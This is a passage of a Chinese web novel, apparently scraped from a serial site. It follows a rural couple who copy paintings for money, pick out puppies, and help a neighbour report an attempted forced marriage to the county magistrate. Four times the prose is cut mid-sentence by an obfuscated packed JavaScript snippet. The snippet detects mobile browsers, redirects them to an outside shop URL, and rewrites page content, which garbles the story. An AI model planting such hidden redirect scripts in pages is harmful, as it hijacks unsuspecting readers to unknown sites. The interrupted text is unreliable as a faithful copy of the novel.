他拿了一小张油纸,捡起一块糖递给祁胜:“您尝尝看,我卖的酥糖保管跟点心铺子里一模一样。” 柳林镇点心铺子里的酥糖祁胜没尝过,不过这摊贩卖的酥糖很不错,用牙齿轻轻一咬,花生芝麻的香气便瞬间迸发了出来,糖也放的正好,甜蜜却不会腻人。 “如何?要不要买点。”摊贩紧张地问。 祁胜道:“味道不错,给我称半斤。” 终于有生意了,年轻摊主连忙应下,用油纸包了八块,过称果然是半斤。 “您是第一位顾客,我再送您半块。”摊主添了半块。 祁胜接过包装好的酥糖,数出四十个铜板,银货两讫。 * 许见秋做好午食,在门口张望了好几次,依旧没有看见驴车。 他心想,祁胜也许是被爹娘留下吃饭了,亦或者正在和干菜铺子的老板谈具体合作事宜,所以才回来得晚。 又往外看了一次,他打算继续绣帕子,若是绣完一块还没有回来,他就自己吃饭,不等了。 不曾想,才这么想完,他折身还没走进堂屋,就听见了驴车的声音。 终于回来了! 许见秋不自觉弯唇,快步往门外走。 出了门一看,果然是自家的驴车。 驴车很快来到眼前,祁胜跳下车,牵着驴进院。 “怎么样,有铺子愿意收吗。”卸下车,将驴拴好后,许见秋迫不及待地问道。 祁胜摇头:“价格太低了。” 期待破灭,许见秋不觉失落:“看来只靠收菜是不成的。” 早冬的阳光早已卸去炙热,还未染上寒冷,照在人身上暖融融的。 照在夫郎的脸上,仿佛增添了一层光辉,使得他的容貌更加无暇,垂睫时更加动人。 祁胜想要摸夫郎的脸,又嫌自己手脏,便忍着没有动作,只是说道:“无妨,我会找活儿干,能养得起家。” 许见秋也笑了一下,道:“嗯,我也会好好养鸡绣手帕,无非是累些罢了。” 他不怕累,只要日子是有希望的。 “不会叫你一直受累。”祁胜保证说,“最多一两年,一两年后,定不会再让你为衣食发愁。” 许见秋听出弦外音:“莫非你已经有赚钱的法子了?” 祁胜点头,将去找罗术一事说了。 “仿画是作假吗?”许见秋谨慎问道。 知道哥儿在担忧什么,祁胜解释道:“不是作假,作假那是假画,我们这是光明正大的仿画,价格与真迹天壤之别。” “那就好。”许见秋放心了。 见哥儿眉眼弯弯,祁胜更觉心动,于是洗了手后,转身便将人抱住,亲了亲红润的唇。 如今有院子里,做什么不用怕被人看见,因此,许见秋虽觉得汉子有点孟浪,却并未将人推开。 他一向不擅长拒绝祁胜。 腻了好一会儿,二人才坐下吃饭。 祁胜将油纸包拿出来,放到夫郎面前:“路上买的,给你当零嘴。” “点心吗。”许见秋以为是绿豆糕之类,边说边将麻绳解开。 待看清纸包内的东西,褐色瞳孔蓦地放大:“酥糖?” 他心中先是惊喜,随后又蹙眉:“很贵吧。” “四十文买的,不算贵。”祁胜道,“你一天吃一块,能吃八天,如此算来一天只要几文钱。” 几文钱的零嘴听起来好多了,可天天吃还是贵。 不过还是高兴占了上风,毕竟酥糖好吃,而且祁胜愿意给他买这么贵的零嘴,证明心里有他。 “我们一起吃。”他拿起一块递给祁胜。 祁胜却伸手从油纸中拿了赠送的那半块:“我路上已经尝过,再吃半块就够了。” 闻言,许见秋便收回手,不过自己也只吃了半块。 酥糖甜蜜油润,非常好吃,也正因好吃,他想留着多吃几天。 如今天气转凉,只要不被太阳晒到,保存半个月都没问题。 — 吃过午时,祁胜便把桌子搬到院内,开始画画。 许见秋没有正经学过画,只会描简单的绣样,心中好奇,便一边研磨一边看。 祁胜手生,没有直接仿整幅,而是观察整幅图,从里面小的静物、动物开始练习。 练到夕阳西下,他才收起毛笔,用来作画的一张纸上已然全是墨迹,看不出最初的图案了。 好在练习是有成果的,他走笔流畅了许多,对于仿画已有几分胸有成竹了。 次日又练习了一天,然后才开始正式仿画。 画了一个上午,吃过晌午饭,才赶车前往镇上。 这次许见秋也跟着一起,带着才绣好的几条手帕。 夫夫二人先去见了罗术。 罗术仔细看过后点了头,随后从房间里拿出完整的《春闺怨》。 极大一幅,画卷展开足有十尺长两尺宽。 先前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405069|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他给祁胜的,只是其中的一部分。 许见秋不由得睁大眼睛:“这么大。” “若是不大,怎么可能一幅仿画就好几两银子。”罗术喝了口茶,笑道,“挣钱哪有那么容易。” “说得也是。”许见秋暗叹自己没见识,他还是头一次看见这么大的画。 罗术又说了要求:“一个月内完工,我这里只提供三张画纸,画毁了自己掏钱买,画成后少则五两,多则八两,交稿后立刻给银子。” 许见秋问道:“这画纸买要多少钱?” “一百文一张。” 真贵,许见秋心想。 不过也在意料之中,纸张本就昂贵,更何况这么大一张。 一切说清楚,现场写了契约,双方按了手印,告知罗术自家地址后,便告辞离开。 随后他们去了绣坊。 “我找王娘子。”许见秋跟堂内管事说道。 管事认识他,让他们在屋内等着,很快便将王娘子喊出来了。 王娘子和赵雪梅是一个辈分的人,但比赵雪梅小好几岁,她绣工好地位高,常年只刺绣不做其它事,看着比同龄人要年轻不少。 “是秋哥儿,好久没见了,你近来可好?”王娘子款款走出来,一面笑问,一面打量着哥儿身边的汉子。 她早知许见秋成亲了,也去许家看过,但去的不巧,没见到人。 “挺好的,王姨你应该也挺好,气色比上次见面时好多了。”许见秋声音清朗。 没人不喜欢被夸奖,王娘子笑容更真切了些:“还是你嘴甜会夸人,旁边这位不介绍一下?” “这是我夫君,叫祁胜,您叫他小祁就行。” “王姨好。”祁胜颔首。 见他仪表堂堂,王娘子也点头一笑,三人开始坐下寒暄。 说了一会儿闲话,许见秋将手帕拿出来给王娘子看。 “挺好的,针脚均匀细密,与我们这绣坊没有两样,只是花样太俗了些,不够有新意,若想要卖得好,得再多些创新。” 许见秋点头记下,打算回去时多多观察,看看旁人的手帕是怎样的花样。 多看,才能自己想出创新。 从绣坊出来,二人又去了一趟许家。 这次没什么事,就是单纯回家看看。 回到家才知道,许成林已经开始跟着徐景然做事,整日早出晚归。 “出去闯闯也好,若只是守着食馆,辛苦一辈子也没什么意思。”许父有些怅然。 食馆每日收入不低,但除了过年就没有歇业的时候,有时他自己都累得受不了。 若后代能换个轻松些的行当,也是好事。 33. 狗崽 木城霜雪晚,初冬正佳时。 晨起喂了狸奴和鸡,将院内清扫干净,许见秋二人便套好驴车,前往镇上。 前日祁胜将一整幅画仿完,今日二人便是去送画的,顺带去镇上采购些需用品。 早冬的气候不寒不燥,不过坐在驴车上还是会有点冷,因此许见秋多给自己加了件衣裳。 验画的过程很顺利,罗术给了七两整银,并让他们再画一幅《上元节佳景》。 《上元节佳景》更难也更大,因此若是完成了,得到的银子也会更多,至少八两,至多十五两,要求是在腊月初十交货。 出了罗家,许见秋摸着兜里沉甸甸的银子,心里前所未有的踏实。 他双眸亮晶晶的,看向身边人:“我们去吃白面馄饨吧。” 祁胜自是没有意见。 许见秋想吃的馄饨在花月巷,离此处有点远,不过驾车很快就到了。 馄饨铺子很小,桌椅都在屋外摆着,小方桌配小方凳。 店主是一对老夫妻,这会儿顾客不算少,两人都在不停地忙碌。 许见秋出声要了两碗馄饨,两张杂面油饼,还有两个卤鸡蛋。 馄饨十文一碗,油饼五文和卤鸡蛋都是五文,加起来花了四十文。 有些奢侈,但今日挣了钱,高兴。 小馄饨不多,一碗只有十二个,但个个饱满,汤的味道也极其清鲜,喝一口感觉整个人都舒坦了。 发面油饼也好吃,外脆内软,层层分明,比自己在家里舍得放油。 由于不赶时间,许见秋吃得不快,甚至是有些慢。 “打个车厢。”祁胜很快吃完馄饨,说道,“天气越来越冷了,有了车厢能暖和些。” 许见秋想到车厢不算贵,再者,在车上吹寒风确实难受,手脚若是冻肿皲裂,更是得不偿失,便点头:“是得打一个。” 还得缝个围脖,缝一双厚一些的手套,最好是皮手套,否则祁胜赶车会受冻。 两人边吃边低声说话,时不时笑一下,旁人一看便知是一对璧人。 赵春儿远远便看见了他们,认出许见秋,心中不由得嫉恨起来。 不是嫁去无穷村了吗?为何又能来镇上吃馄饨鸡蛋?许家究竟补贴了他多少? 越想越难受,赵春儿攥紧了拳头。 他成亲快一个月,顾忌着他有身孕,胡天楠虽常常辱骂他,却不敢对他动手。 可再过几个月,他的肚子便要瞒不住了,届时发现他没有怀孕,胡天楠会如何待他? 胡天楠连自己的亲娘都不愿意养,逼得胡姨娘出家当尼姑去了,对待他这样一个外人,又会如何? 赵春儿不敢深想,他只能走一步看一步。 可如今看着许见秋,他咽不下心里的嫉妒。 凭什么呢? “夫郎?”见他一直停着不走,哥儿侍从小心地唤了一声。 赵春儿回神:“回家吧,我不想吃馄饨了。” 他不敢直接上前坏事,毕竟那两人手中还握有他的把柄。 许见秋二人完全没有发现赵春儿,吃过早食后,便去附近的点心铺买了两包点心,又去买了些棉花布匹,拎着这些礼物去了许家。 “买这些东西做什么。”赵雪梅一看就数落他们,“家里又不缺,倒是你们两个过日子处处紧巴巴的。” “娘,爹,我们今日挣到钱了。”许见秋解释,“祁胜他会画画,最近仿了一幅图,得了几两银子。” “会画画?”许大山难掩惊讶。 画画比读书还费钱,普通老百姓根本学不起。 祁胜谎道:“我爹娘以前是官宦人家的小管事,我给少爷当过两年书童,画画是跟着少爷的老师学的。” 许见秋接着道:“阿胜他在这方面有天赋,学得快,后面又自己勤加练习,才会仿画的。” 故事听起来很合理,二老便信了,赵雪梅又忍不住询问:“后来为何不当书童了?” 年轻汉子好手好脚,又识字会画画,为何会沦落到无穷村去。 听出她的言外之意,祁胜答道:“后来主家犯事,我爹娘也受到了些牵连,一家人便搬到了其它地方,不曾想遭遇天灾,最终只有我活了下来。” 他看向许见秋,握住夫郎的手:“刚到无穷村时,我很颓丧,觉得至亲皆已过世,我活着又有什么意思,直到后来遇见秋哥儿,才重新找到了活着的意义。” “从前我混了些,没有家底,但今后我定会好好和秋哥儿过日子,不会叫他受苦。”祁胜语气诚挚,字字清晰。 这番保证来得突然,许见秋既有些不好意思,又有些高兴。 祁胜说过好多次不会叫他受苦,会挣钱,但这还是头一次在爹娘面前这么说。 面对哥婿的保证,许父许母果然很受用,说了几句勉励他们的话,随后笑着收下了礼物。 赵雪梅将棉花布匹收进屋,点心则直接打开,让家里人都吃。 她自己也拿了一块酥糖。 这会儿半上午,食馆不忙,一家人坐在一起聊了会儿后,她才叫许见秋跟她一起去选狗。 之前跟那户人家说好的,小狗满月后便来选。 进了门,赵雪梅先跟人招呼了一声,主人家将大狗牵走,才带他们去看小狗。 四只小狗挤在一起,有的缩着脑袋,有的歪着头,还有一只闭眼酣睡的。醒着的狗崽统一拿圆溜溜的水润大眼睛瞅着人,许见秋心里不由得一软。 他朝狗崽伸出手,醒着的挨个摸了摸头,其中一只黑色的蹭了蹭他的手,还朝他欢快地叫了两声。 这两声叫唤,吵醒了睡觉的那只褐色狗崽,褐色慢悠悠地撑开眼皮,然后换了个姿势,又睡了。 家里买狗主要是为了看家护院,当选健壮警醒的,可许见秋看着那只褐色小狗,不知怎么的,就想将其选走。 可若是选回家,它还是只睡觉怎么办? 许见秋思考了一会儿,询问主家:“这些狗崽都定人家了吗。” “订出去了一只。” “是哪一只?” “还没来选呢,说好的先给你们看。” 许见秋便道:“我想要两只,这只黑的和褐色的。” 要两只,即使褐色喜欢睡觉,也还会有另一只狗警醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405070|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是两条狗养起来更费钱,狗吃的粮食不比人少多少。 但若是明年开春他还要养羊养鸡,两条狗看家会更稳健,是划算的。 听完夫郎认认真真的解释,祁胜道:“两条狗确实更安全,家里也养得起。” 顿了顿,又说:“秋秋,你不用跟我解释这么详细,家里的事由你做主,我不会有二话。” 许见秋想都不想道:“当然要解释,这是我们两个人的家,是我们一起过日子,我怎么能独断专横呢。” 二人对视一眼,都笑了。 — 傍晚回村 驴车经过冯家时,许见秋看见冯家门口围了一大堆人,心中不由奇怪。 冯家就爷孙三人,发生了什么事导致村人都去看热闹? 正疑惑着,他就听见了一道大嗓门粗哑女声:“你这哥儿好不识抬举,不瞅瞅你长什么丑样子!我儿子好心要负责,你还矫情上了,错过了这个村,我看你以后还嫁不嫁的出去!” 许见秋心中一凛,忙让祁胜停车。 他下了车,挤进人群。 只见冯家门口站着冯四哥爷孙三人,对面则是一名褐衣老妇人,妇人身后站着一名老汉子,两个二三十岁的麻衣汉子。 这妇人许见秋识得,夫家姓陈,村里都管她叫陈大娘,老汉子是她男人陈老头,年轻些的是她两个儿子。 “分明是你将我推下水,我自己明明能上来,你儿子非要拉扯我,差点害我溺死,我还没去县衙告你们,你们竟敢找上门来要人,这世上还有天理吗?!”冯四哥双眼通红,嗓音听着有些哑,显然已经辩驳了许久。 陈大娘喊道:“我儿子救你是好些人都看见了的,就算到了衙门,也该是你嫁给我儿子!” “这老太婆真不是个东西,自己儿子娶不上媳妇,就想讹人家哥儿。”旁边的老汉子悄声跟自己老婆说着话,声音惋惜,却没有上前相助的行动。 断指的李三幸灾乐祸道:“哥儿被人摸了就是失了贞洁,失贞就该投河自尽,陈大愿意娶他,是给他一个活命的机会。” 村人固执己见,一边窃窃私语着,一边打量场上情况。 许见秋听着村人言语,再看向凶神恶煞的陈氏一家人,心底发寒。 争论不出个结果,冯四哥抄起檐下的扫把,朝着陈家人挥打过去,边打边骂着让人滚。 可他终究只是一个人,扫把被陈大陈二挡住,两人反手便把他推了个踉跄,致使他摔倒在地。 冯奶奶连忙把他扶起来,边哭边骂陈家不是人。 冯爷爷自然也护着孙子,只可惜他们俩年龄都大了,根本就抵抗不了陈家人。 转眼间冯爷爷就被按在地上,陈老汉不知从哪儿拿出个粗木棍,作势要往老头身上招呼。 “你要是再不同意,我当场就把这老不死的打死!”他威胁冯四哥。 许见秋没法再袖手旁观,大步上前喝道:“你们胆敢当着这么多人的面杀人?真不怕坐大牢?” 他平时声音清润好听,这会儿沉了嗓子,很有几分气势。 陈老汉一时竟不敢上前。 34. 报官 有人带头,围观村民便开始附和许见秋的话,呼喝起来。 本来无穷村名声就差,若是打死老头威胁其孙哥儿嫁人这种事传出去,就更不会有人嫁进来了。 再者,人心都是肉长的,冯家爷孙这些年在村里规规矩矩,没必要这样对人家。 在周围人的集体抗议下,陈家人渐渐怂了,撑面子咒骂几句,然后才离开。 一些夫郎妇人走到冯家人身边安慰,许见秋垂眸想了想,自己并未过去,而是折身往祁胜身边走去。 他神色不好,眉心蕴藏着忧虑,祁胜一眼便看了出来,安慰般握了握他的手。 许见秋勉强笑了一下,二人一同走回家。 今日冯四哥一事,像是当头一棒。 他自个日子过得好,运气好,遇见了祁胜。 为了不让祁胜被发现真实身份,他即使知道昏官乱判案,也没有上衙门平反。 原以为这就是他个人的事罢了,可今日看来,这件事可能会波及到其他的姑娘哥儿。 在无穷村是陈家,在其它村,可能会有李家王家周家,为了给自家讨个媳妇夫郎而陷害姑娘哥儿落水,毁人名声,强抢民女/哥。 冯四哥险些被抢走,其它村的人呢? “莫要自责,今日之事是陈家人恶从心起,与我们无干。”仿佛知道他在想什么,卸了驴车后,祁胜说道。 许见秋蹙眉道:“可我们的事例终究不好。” 的确是陈家人本恶,可他们的事迹,也的确助长了恶人恶习。 “你若实在自责,明日我同你一起去县衙。” “不要。”许见秋想都不想地拒绝,他不想祁胜涉险,“一定还有别的法子。” 祁胜道:“案件若要重审,当事人必须在场,没有别的法子。” 许见秋抿住嘴唇,沉默下来。 见他难过,祁胜心里也不好受,说道:“我以前是庶子,又一心沉迷学业,与其他人交往不多,就连徐明都不一定记得我,遑论他身边的人。” “更何况几年过去,我的容貌有所改变,天底下长得像的人多的是,只要我不认,没人能拿我怎么样。” 许见秋道:“可然哥儿一眼就认出了你,我不想别的姑娘哥儿受难,可我更不想你出事。” 不等祁胜再说话,他道:“我拿包点心去看看四哥儿,你喂鸡。” — 冯家 冯四哥扶着爷爷在床上躺下,忍不住又抹了两把泪。 听到许见秋的声音,他吸了吸鼻子,整理了番情绪才出去见人:“秋哥儿。” “四哥儿,这是镇上买的桂花糕,你尝尝看。”许见秋将点心放在桌上,顿了顿,又温声道,“你爷爷还好吗?若是需要驴车,跟我说一声便是。” 冯四哥谢过糕点,鼻骨再度发酸:“爷爷他腰疼,但他说是老毛病了,不肯看郎中。” “这次是陈家人害的,若是看郎中,花销也该陈家人出,为何不看?”许见秋蹙眉。 冯四哥道:“我爷爷觉得陈家人不会赔偿。” 都堵上门打杀威胁了,自然不会赔钱。 但:“他们不愿那就报官,公堂上见了面,由不得他们不赔。” “我也是这样跟爷爷说的,可爷爷说当官的都只认钱,我们家没有钱,打不了官司。”冯四哥垂下头。 蔡县令统治时间太久,蔡县令之前的官也不清白,以至于冯爷爷对当官的有刻板印象,不信任官府。 “如今换了新县令,打官司不要钱。”许见秋道,“再者,就算要钱,去县衙问一句又不会少块肉。” 冯四哥点头:“是这个理,我打算明日就去报官。” “好,明日我送你进城。” 冯四哥想了想,没有拒绝好意:“那就多谢了。” 许见秋弯唇露出一抹笑:“邻里之间不必言谢。” 若是冯四哥此案能够秉公办理,陈家人得到严厉处罚,其他人就不敢效仿了,他和祁胜也就不必上堂重审。 豁然间柳暗花明,许见秋脚步都轻松了。 * 次日,祁胜将他们送到镇上,而后借口说腹痛,留在许家,换许见秋赶车。 他学过如何赶车,只是身为哥儿,真正让他赶车的机会不多,不太熟练。 但也无妨,慢些赶驴便是了。 去往县衙的路上,冯四哥心里充满了忐忑。 他比许见秋还要小一岁,才十五整岁,别说去县衙告状了,他甚至没有来过木城,没有和衙役说过话。 但过程却出乎意料得顺利,击鼓鸣冤后,衙役便去通禀,不一会儿,就有人带他进去,询问事件经过,做了记录。 “大人日理万机,案件无数,你的案子得排队。”官差全部记下后道,“少则三日,多则十日,会有人去你家通知你何时上堂公审。” 冯四哥连忙点头,表示知道了。 到这里,“报官”这一阶段便结束了,直到出了县衙,冯四哥仍有些不敢相信。 他方才一文钱没花,事情竟就办下来了,他也没有被呵斥。 世道是真的变好了,他心想。 “四哥儿?”许见秋唤他,“你可有东西要买,若是没有,咱们便回镇上了。” 冯四哥回神:“没有,回去吧。” 他只想买几斤棉花,镇上的棉花价格比城里便宜。 二人回到镇上,恰好是正午,便在食馆吃了饭,然后去买棉花。 棉花铺子离食馆很近,走着就过去了。 棉花铺子狭小,四周架子上塞满了棉花、棉被,落脚的地方不多。 冯四哥要买三斤棉花,老板报价说七十文。 “往常不是六十文吗。” “六十文那是夏日的价格,如今什么季节了,再过段时间便入冬了,家家户户都买棉花,价格自然上涨。”老板一副很无奈的模样。 可若是七十文一斤,冯四哥准备的钱就不够了。 他当即还价道:“老板你这价格报得太高了,昨日我邻居婶子买了两斤棉花,还是六十文一斤,不可能一日时间涨价这么多。” “越接近冬天,价格变化越是大,这都是正常的……” 二人讨价还价着,许见秋余光瞥见又有客人进来,提着个食盒,还是认识的人。 许见秋便打了声招呼:“梁大哥也来买棉花?” 梁正业点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405071|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“预备买两床新棉被。” 两床棉被可比三斤棉花贵多了,老板暂停讨价,转而热情招呼梁正业:“你想要多大多重的棉被?自家用还是成亲用?” “自家用,一床八斤的双人被,一床五斤单人被。” “行,长宽多少,我记下来,做好了就给你送去。”老板认识梁正业,知道他是粮铺的。 梁正业报了长宽,又问价钱。 老板回头看了看冯四哥,道:“你买得多,一共十三斤,加上工费,一共一两银子,我再送你两个竹枕两个谷枕。” 价格合适,梁正业点头,拿出钱袋,先交定钱。 定钱是十取二,也就是十分之二的意思。剩下的交货再给,若是做好后反悔不要了,定钱不退。 交完钱,他却没有走,而是看向许见秋二人:“你们要买什么,买完一起走吧,正好我娘让我买两个酱猪肘。” 原来食盒是这个作用。 许见秋道:“四哥儿要买几斤棉花,我倒是没什么要买的。” 闻言,老板笑说道:“既然你们都是一起的,这样吧,我给这位小哥儿也便宜一些,还按六十文一斤算,若觉得好,下次再来我这儿买。” 冯四哥忙道:“一定一定,村里人若是要买棉花,我也推荐他们来您这里买。” 顺利买了棉花,三人走回食馆,说了要买酱肘子,赵雪梅给装上后,顺便问了一句:“正业快成亲了吧?” 她最近跟人闲聊时,听说梁家在置办聘礼。 “不是我,是我二弟快成亲了。”梁正业解释,“这两只猪肘正是要往丈人家送。” “原来是这样。”赵雪梅猜错了人,但并不觉得尴尬,“成亲是件好事,无论谁成亲,都是梁家热闹。” 食馆虽不太忙,梁正业却有事,只说了这么两句,便提着食盒走了。 后院里,许见秋听见了前面堂内的对话,心里有几分纳罕。 一般都会先给长子娶妻,而后才是次子,按年龄排。 梁家最开始也是这样,给梁正业说了一门亲事,但后来女方命薄,据说有遗传的心口疼,遭遇了点意外,就那样去了。 这样的意外怪不了梁家,但若是亲事毁了之后立刻说旁的人家,显得太过薄情,因此梁正业的婚事便耽搁了下来。 不曾想,如今梁正业的婚事还没有着落,次子的婚事倒是定下了。 但就像赵雪梅说的那样,无论谁成亲,总归都是热闹事,是一件喜事。 四哥儿还要回家照顾爷爷,因此没在食馆逗留太久,三人便回了无穷村。 回到家,喂了猫狗小鸡,看过菜地,而后夫夫二人便一起搭建狗窝。 他们俩已经一起建过鸡窝猫窝,狗窝也是差不多构造,因此得心应手,很快就砌好了。 “做饭吧,你想吃什么?”许见秋洗了手,问道。 在食馆吃得饱,可干完活,又有点饿了。 “我都行。”祁胜就着夫郎用过的水继续洗手,视线落在夫郎脸上。 许见秋摸了摸脸:“我脸没洗干净?” “很干净。”祁胜仍然专注地看着他,话题一转,“秋哥儿,我们还没有办过婚宴。” 35. 教你 许见秋神色一顿。 婚宴他曾想过,但二人成亲太过仓促巧合,当时感情不稳定,祁胜又太穷,婚宴便搁置了。 他其实是不喜欢婚宴的,因为哥儿若是成亲,就要早起梳妆,一路盖盖头,最后在新房中呆坐等候汉子。 有些严苛的人家,那一整天都不会让哥儿吃饭。 这套流程他很难喜欢。 但如今和祁胜在一起了,想到对方这样好,婚后的日子又这样好,他心里竟升起了些对婚宴的期待。 想要通过婚宴,告诉所有亲朋好友,他和祁胜在一起了。 “你若是想办婚宴,那就年后办吧。”许见秋说完,立即进了厨房,没叫汉子看见自己变红的脸颊。 猜到他在害羞,祁胜故意在院内说道:“我只是问一句罢了,没说想办,你怎么连日子都定好了。” “你不想办那就不办了。”许见秋知道汉子是在调戏自己。 祁胜笑出声:“还是办吧,毕竟我夫郎这么期待。” “谁期待了。”许见秋小声嘟囔着,脸上却不自觉浮现出笑意,透过小窗户往外瞥了一眼。 祁胜正好也通过窗户在看他。 四目相对,景色融融。 许见秋又笑了一下,继而低下头,继续做饭。 晚饭很简单,从食馆里拿了些菜回来,热一下就行,主食就是一张烫面饼子,很快就做好了。 吃饭时,二人又提及婚宴。 “做婚服的红布我家有。”许见秋咽下口中的食物,悄悄抬眼观察汉子神色,“是我先前要成亲时,家里买的。” 从前他与胡天楠的婚事,胡家那边说了会准备婚服,他不必自己绣,但家里还是买了半匹红布,预备成亲时绑在柱子上当花样,面子上会更加光鲜好看。 后来婚事告吹,红布没用上,就一直在家里留着。 本就是为他准备的,他回去要,爹娘不会不给。 只是……他怕祁胜介意。 “那正好,咱们可以省下一笔钱。”祁胜面上一点异样也没有。 许见秋放心了,咬了一口饼子,继续说其它方面的细节,譬如酒席请谁来掌勺之类。 婚礼说起来简单,真正议论起来,细节却极多。 吃饭时没商量完,晚上躺在床上,许见秋还在琢磨席面上的饭菜。 “别想了。”祁胜伸长手臂,一把将小夫郎捞进怀里,亲了一口,“早些休息吧,等把婚服做出来再想这些也不迟。” 如今天气越来越凉,晚间尤其明显,他们盖的被子薄,两个人挤在一起睡正好。 许见秋已经习惯和汉子亲近,他枕在祁胜胳膊上,打了个哈欠。 正要说话,便察觉祁胜的手不太规矩,一直揉捏他的腰部。 里衣是穿了好几年的,很薄,导致他对男人的触碰感知异常灵敏。 “痒。”许见秋轻声说着,躲了一下。 祁胜便换了位置:“我们来互相帮助吧。” 吃不到嘴,也得让夫郎用手帮帮他,否则再忍下去,他身体要出问题了。 许见秋却没有听懂他的言外之意:“什么帮助?你怎么了?” “我病了,难受。” 闻言,许见秋顿时不困了,着急起来:“哪里难受?” “身上难受。” “风寒了吗。”许见秋伸手去摸汉子的额头,“吃饭时不是还好好的吗。” “不是风寒。”祁胜捉住他的手,放在唇边吻了吻。 许见秋抽回手,埋怨道:“都生病了,你怎么还轻浮……” “我得的就是轻浮病。”祁胜嗓音沙哑,黑暗中目光灼灼。 在这一瞬间,许见秋骤然明白了言外之意。 他有些口干。 祁胜再度抱住他,找到他的唇,温柔撬开唇齿,缓解了他的干渴。 “秋秋,我教你好不好。” 许见秋脸颊滚烫,将脸埋进汉子的胸膛:“……好。” 月明星稀,鸡狗早已入睡,狸奴却精神无比,一会儿蹿上房梁,一会儿又迅捷地跳下去,逮住一只活物便逼着对方与它戏耍。 但耍了没多久,活物就成了死物。 小黑觉得很没意思,转眼发现屋子里亮起了灯,知道“发亮”预示着主人醒了,它不由得喵叫两声,兴高采烈地去找主人玩耍。 然而,主人却无情地将它踢开——虽说没将它踢疼,可它幼小的猫心受到了伤害。 它脑筋一转,轻快地跑进了主屋,想去找那名平常对它和颜悦色的主人告状。 许见秋身上只蒙着一件衣裳,以免污染被子。 乍然见狸奴跑进来,他心中一慌,下意识往里侧缩了缩。 尽管知道狸奴什么都不懂,他还是尴尬得很。 在一个时辰前,他也一知半解,懵懵懂懂的,就这么跟着汉子的节奏走了。 不过……好像还不错,心里莫名的压抑好像随之消散了。 想到这里,许见秋的脸又蓦地红了。 他在想什么啊,作为哥儿,怎能思考这些东西,未免太…… 小黑喵叫半天,见许见秋居然不理会它,猫心再度受挫,气鼓鼓地跑到外面去了。 外面祁胜正在烧水,过了会儿将水转移到盆里,又从缸里添些水,端进房。 又过了一会儿,一盆水被泼在院内,屋内的灯又灭了。 * 转眼间五日过去。 冯四哥正在门口劈柴,忽听见有人喊他,扭头一看,竟是村长。 村长身边还有一名牵着毛驴的衙役。 想到什么,冯四哥心内涌起股希望,藏起斧子,跑过去迎接。 果然,衙役是来通知他明日上堂的。 “明日辰时一刻,记住了。”衙役重复时间。 冯四哥忙点头:“绝不会忘记。” 见他确实记下,村长和衙役便往陈家人方向去了。 冯四哥心里高兴得很,手脚发热不知该如何安放。 原地蹦了几下,他才往许见秋家跑去,跟对方分享这个好消息。 许见秋正喂鸡,闻言也很高兴:“太好了,明日过后,村里肯定不会有人再敢欺负你了。” “嗯,谢谢你。”冯四哥道,“若不是有你鼓励我,我一个人不敢去报官的。” 若不报官,一个哥儿两名老人,是决计得不到公道的。 “我只是说了几句话罢了,是你自己有勇气。”许见秋笑道,“正好我想去镇上买布,明早我们一块儿坐车去镇上。” 坐车要三文钱,以往冯四哥舍不得这个钱,但这次例外。他点点头:“嗯,明早我来喊你。” 无穷村除了交税的时候,八百年没见过衙役了,因此衙役先去冯家,又去陈家的事,很快如风一般传遍了全村。 大家都知道明天这两家要打官司了,有好事者去冯家和陈家询问究竟,冯家还好,陈家直接关门谢客。 次日一早,许见秋和冯四哥结伴去村口等车,路上正好遇见陈家四人。 陈老汉阴恻恻地扫了他们一眼,冯四哥不甘示弱地瞪回去。 许见秋视线略过陈家汉子们,注意到陈大娘低着头缩着脖子,离近了才发现,她左半边脸肿了起来,走路也有点跛。 想必衣裳底下,还有很多伤。 以陈大娘的性格,这伤必定是被自己丈夫或者儿子打的,若是旁人,她早就闹了。 许见秋收回视线,按下不该有的复杂心绪,心里只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405072|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盼着县太爷能够重处陈家。 处罚越重,旁人越不敢效仿。 — 